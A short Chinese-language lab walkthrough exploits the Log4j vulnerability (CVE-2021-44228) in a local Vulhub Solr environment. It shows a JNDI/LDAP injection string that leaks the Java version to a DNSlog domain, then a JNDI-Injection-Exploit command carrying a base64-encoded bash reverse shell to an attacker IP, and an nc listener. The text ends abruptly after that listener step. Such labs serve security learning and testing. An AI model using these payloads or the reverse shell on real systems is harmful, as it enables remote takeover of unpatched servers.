Vulhub 搭建log4j漏洞环境,模拟攻击:
首先进入log4j路径
cd vulhub/log4j/CVE-2021-44228/
搭建环境
sudo docker-compose build
sudo docker-compose up -d
网址输入:http://127.0.0.1:8983/admin/cores
在DNSlog网站生成域名:jkvl0r.dnslog.cn
输入http://127.0.0.1:8983/admin/cores?action=${jndi:ldap://${sys:java.version}.jkvl0r.dnslog.cn}
可以看到:
可以看到Java的版本被输出,测试具有漏洞
应用工具JNDI-Injection-Exploit搭建服务:格式:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "命令" -A "ip(攻击机)"
这里的命令是想要靶机运行的命令,-A后放的是发出攻击的电脑的ip,也是存放-C后“命令”的ip地址。
接下来要实现反弹shell,可以用命令
bash -i >& /dev/tcp/192.168.237.128/6666 0>&1
注意“命令”必须经过编码,不然将无法实现
──(rootKALI)-[/sda1/bugku/JNDI-Injection-Exploit/target]
└─# java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNy4xMjgvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.237.128"
得到结果:
先打开控制端的监听:
┌──(rootKALI)-[/]
└─# sudo nc -lvnp 6666 130 ⨯
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::6666
Ncat: Listening on 0.0.0.0:6666
使用bp payload